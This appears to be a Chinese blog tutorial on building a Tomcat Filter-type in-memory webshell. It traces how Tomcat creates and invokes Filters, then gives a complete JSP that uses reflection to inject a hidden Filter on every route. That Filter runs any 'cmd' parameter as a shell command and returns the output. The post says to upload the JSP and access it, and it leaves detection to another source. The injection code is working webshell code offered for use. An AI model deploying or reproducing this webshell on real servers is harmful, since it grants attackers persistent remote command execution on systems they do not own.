Java内存马Tomcat篇03-Filter型内存马

0x00 前言

Filter内存马构造的难度不大,重点是要知道为什么要这么构造——这并非易事。

0x01 Filter流程分析

分析Filter的流程是非常有必要的,因为只有分析清楚Filter的创建和调用流程,我们才能模仿有关步骤,成功把Filter型内存马送入内存并发挥作用。

但我不喜欢冗长地分析每一行代码,故只分析关键的代码。

demo

调试之前要先写一个简单的Filter:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.horses1;

import jakarta.servlet.*;
import jakarta.servlet.annotation.WebFilter;

import java.io.IOException;

@WebFilter(filterName = "filter1", value = "/filter1")
public class Filter1 implements Filter {

@Override
public void init(FilterConfig filterConfig) throws ServletException {
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("执行了过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {
System.out.println("Filter 已被销毁");
}
}

我使用了注解,就不需要配置web.xml。可以通过index.jsp跳转到/filter1路由来访问该Filter。

创建Filter

断点打在StandardContext类的startInternal方法里的filterStart方法,顾名思义,Filter在这里开始创建。

关注该方法的这两行代码:

image-20250509210230754

代码处于for循环之中,在每个循环中,会创建对应每一个Filter的ApplicationFilterConfig,并put到filterConfigs表中。完成这两步,就意味着Filter创建完毕。

所以不难想到,我们如果想注入内存马,最后肯定要执行这两步。但是要保证这两步正常执行,就需要跟进查看代码逻辑。

先跟进第一行代码:

image-20250509211303912

两个参数,Context是StandardContext,FilterDef需要自行构造,其是一种对Filter的封装。给出构造FilterDef的伪代码:

1
2
3
4
5
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

接着走到initFilter方法,跟进:

image-20250509211952885

filter.init方法即是我们自己写的Filter类的init方法。

回到上面说的第二行代码,name是我们给Filter起的名字,filterConfig就是刚刚构造完成的ApplicationFilterConfig实例。

这里需要知道filterConfigs是什么:

image-20250509212301151

filterConfigs本质上是一个HashMap,存放FilterDef的name及对应的ApplicationFilterConfig。

所以,我们想要完成这两行代码,需要有如下几步:

  1. 编写恶意Filter
  2. 构造恶意Filter对应的的FilterDef
  3. 获得ApplicationFilterConfig类,键是StandardContext,值是恶意的FilterDef
  4. 将恶意的ApplicationFilterConfig类放入FilterConfigs表

但是这个步骤是不全的,因为我们没有动态地设置路由,这点正是内存马的关键。换句话说,按照这几步,我可以把Filter型内存马插入内存中,但是该通过什么方式/路由访问内存马呢?

在内存马创建的过程中并没有Filter及对应路由映射的代码逻辑,那么或许可以从访问Filter的流程中找到相关逻辑。除此之外,为了保证内存马能正常执行且不会破坏服务,我们仍然得关注访问Filter有关的代码逻辑。

访问Filter

断点打在Filter1类的doFilter方法,当访问到/filter1路由时会调用到该方法。关注下图的调用栈:

image-20250510094033792

不难想到,访问Filter的逻辑实际上在StandardWrapperValue的invoke方法开始。关注该方法我打断点的两行代码:

image-20250510094321325

构建ApplicationFilterChain

第一行获得ApplicationFilterChain,个人理解为Filter链,包含了一系列需要调用的Filter。跟进,看到这里出现了记录Filter及对应路由映射的对象:filterMaps。

image-20250510094951981

往下走到这里:
image-20250510095309021

遍历filterMaps得到Filter与URL的映射关系并通过matchDispatcher()、matchFilterURL()方法进行匹配。匹配成功后,还需判断filterConfigs中存在对应Filter,如果存在则调用addFilter方法,将管理filter实例的filterConfig添加到ApplicationFilterChain里。

doFilter

第二行调用ApplicationFilterChain的doFilter方法,正如上文调用栈框起来的三行调用,就是一个循环。跟进:

image-20250510100129680

走不到if分支里,直接调用internalDoFilter方法:

image-20250510100531521

按照先后顺序,对每个Filter调用其doFilter方法。这里除了序号0的Filter1,还有序号1的系统的WsFilter。

就算是自己写的Filter,也要实现doFilter方法:

image-20250510100756175

这样又回到了ApplicationFilterChain的doFilter方法,一次循环结束,刚好三张图。有几个Filter就有几次循环。

当WsFilter的doFilter方法执行完后,internalDoFilter方法判断Filter都执行完了,执行如下逻辑:

image-20250510101506792

这也宣告Filter链的执行结束。

0x02 构造内存马

就直接在jsp里构造吧,但是思路不要局限在jsp。jsp本质上也是执行Java代码,能执行Java代码的地方还有静态代码块,所以Java反序列化也能注入内存马。

实现,我们要明确需要执行几个步骤:

  1. 写一个恶意的Filter型内存马
  2. 构造恶意Filter对应的的FilterDef
  3. 获得ApplicationFilterConfig类,键是StandardContext,值是恶意的FilterDef
  4. 将恶意的ApplicationFilterConfig类放入FilterConfigs表
  5. 动态配置访问内存马的路由

下面给出对应的jsp文件,步骤顺序稍作修改,但是逻辑一致:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.Constructor" %><%
// 获得StandardContext
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

// 获得filterConfigs
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);

// 构造Filter型内存马
String name = "Pax";
if (filterConfigs.get(name) == null) {
Filter filter = new Filter() {

@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse resp = (HttpServletResponse) servletResponse;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {
Filter.super.destroy();
}
};

// 封装成FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filterDef.getClass().getName());
standardContext.addFilterDef(filterDef);

// 把FilterDef放入ApplicationFilterConfig,再存入到filterConfigs
Constructor<ApplicationFilterConfig> constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, applicationFilterConfig);

// 动态配置访问内存马的路由
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

out.print("Inject Success!");
}
%>

在具体应用中,上传jsp文件并访问即可。由于配置的路由是/*,所以接下来任何路由都会触发内存马。

0x03 小结

排查内存马的方法就不说了,参考:Java内存马系列-03-Tomcat 之 Filter 型内存马 | Drunkbaby’s Blog